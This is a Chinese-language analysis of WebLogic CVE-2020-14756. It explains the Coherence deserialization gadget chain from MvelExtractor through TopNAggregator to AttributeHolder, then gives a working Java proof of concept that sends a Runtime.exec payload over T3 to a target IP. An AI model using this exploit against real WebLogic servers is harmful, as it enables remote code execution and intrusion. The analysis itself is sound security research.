Weblogc CVE-2020-14756
CVE-2020-14756
漏洞分析
在coherence.jar中有这么个接口ExternalizableLite
,继承了serializable类。
在ExternalizableHelper
类中,有readObjectInternal
方法,在这个switch中,nType为10的时候会调用一个readExternalizableLite
方法,他可以反序列化一个实现了ExternalizableLite
接口的类
这里的ntype在这个类的writeObject方法里可以看见是怎么写入的。
主要是调用了getStreamFormat
方法
public static int getStreamFormat(Object o) {
return o == null ? 0 : (o instanceof String ? 6 : (o instanceof Number ? (o instanceof Integer ? 1 : (o instanceof Long ? 2 : (o instanceof Double ? 3 : (o instanceof BigInteger ? 4 : (o instanceof BigDecimal ? 5 : (o instanceof Float ? 14 : (o instanceof Short ? 15 : (o instanceof Byte ? 16 : 11)))))))) : (o instanceof byte[] ? 8 : (o instanceof ReadBuffer ? 7 : (o instanceof XmlBean ? 12 : (o instanceof IntDecoratedObject ? 13 : (o instanceof ExternalizableLite ? 10 : (o instanceof Boolean ? 17 : (o instanceof Serializable ? 11 : (o instanceof Optional ? 22 : (o instanceof OptionalInt ? 23 : (o instanceof OptionalLong ? 24 : (o instanceof OptionalDouble ? 25 : (o instanceof XmlSerializable ? 9 : 255))))))))))))));
}
只要序列化的类是ExternalizableLite类或者是他的子类,ntype就是10,继续来看readExternalizableLite
方法,这里实例化了一个ExternalizableLite类,然后调用了readExternal方法
这里的话我们就需要找到一个ExternalizableLite类的子类,然后他会去调用这个类的readExternal方法,这里找到了com.tangosol.coherence.rest.util.extractor.MvelExtractor
这个类,他的构造方法如下
再来看看他的readExternal
方法,先读入了一个int类型,然后读取了m_sExpr,这里的m_sExpr可控
public void readExternal(DataInput in) throws IOException {
this.m_nTarget = in.readInt();
this.m_sExpr = ExternalizableHelper.readSafeUTF(in);
}
所以接下来我们只需要找到能触发extract方法的地方即可
public Object extract(Object oTarget) {
return oTarget == null ? null : MVEL.executeExpression(this.getCompiledExpression(), oTarget);
}
对于触发extract方法,我们找到了com.tangosol.util.aggregator.TopNAggregator.PartialResult
类,他是TopNAggregator类的一个内部类,来到他的readExternal
方法
public void readExternal(DataInput in) throws IOException {
this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
this.m_cMaxSize = ExternalizableHelper.readInt(in);
this.m_map = this.instantiateInternalMap(this.m_comparator);
int cElems = in.readInt();
for(int i = 0; i < cElems; ++i) {
this.add(ExternalizableHelper.readObject(in));
}
this.m_comparator_copy = this.m_comparator;
}
还原m_comparator
参数并且调用了instantiateInternalMap
方法
protected NavigableMap instantiateInternalMap(Comparator comparator) {
return new TreeMap(new WrapperComparator(comparator));
}
新建了一个comparator的包装类然后传入到TreeMap当中,并且在for循环中调用add方法,传入的参数是ExternalizableHelper.readObject(in)
的结果,先看add方法,如果size()小于最大长度,调用父类的add方法
public boolean add(E value) {
if (this.size() < this.m_cMaxSize) {
return super.add(value);
} else if (this.m_comparator.compare(value, this.first()) > 0) {
this.removeFirst();
super.add(value);
return true;
} else {
return false;
}
}
来看父类的add方法
public boolean add(E o) {
NavigableMap map = this.getInternalMap();
while(!Base.equals(o, this.unwrap(map.ceilingKey(o)))) {
if (map.put(o, NO_VALUE) == null) {
return true;
}
}
map.put(this.wrap(o), NO_VALUE);
return true;
}
调用了getInternalMap
获取了一个map,然后调用map.put方法把传进来的o放到map里,这里由于map是TreeMap,所以找到TreeMap的put方法
然后调用compare方法
final int compare(Object k1, Object k2) {
return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)
: comparator.compare((K)k1, (K)k2);
}
这里的comparator是MvelExtractor类,MvelExtractor类继承了AbstractExtractor抽象类,该抽象类的compare方法调用了extract方法
public int compare(Object o1, Object o2) {
return SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2));
}
但是com.tangosol.util.aggregator.TopNAggregator.PartialResult
类并没有实现ExternalizableLite接口,所以还需要找一个实现ExternalizableLite接口的类,并能调用ExternalizableHelper.readObject方法。找到com.tangosol.coherence.servlet.AttributeHolder#readExternal(java.io.DataInput)
POC
这里直接用Y4er师傅的poc了
package com.supeream;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
// coherence-rest.jar
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
// coherence-web.jar
import com.tangosol.coherence.servlet.AttributeHolder;
// coherence.jar
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class CVE_2020_14756 {
public static void main(String[] args) {
MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");");
MvelExtractor extractor2 = new MvelExtractor("");
try {
SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);
AttributeHolder attributeHolder = new AttributeHolder();
sortedBag.add(1);
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);
T3ProtocolOperation.send("192.168.65.128", "7001", Serializables.serialize(attributeHolder));
} catch (Exception e) {
e.printStackTrace();
}
}
}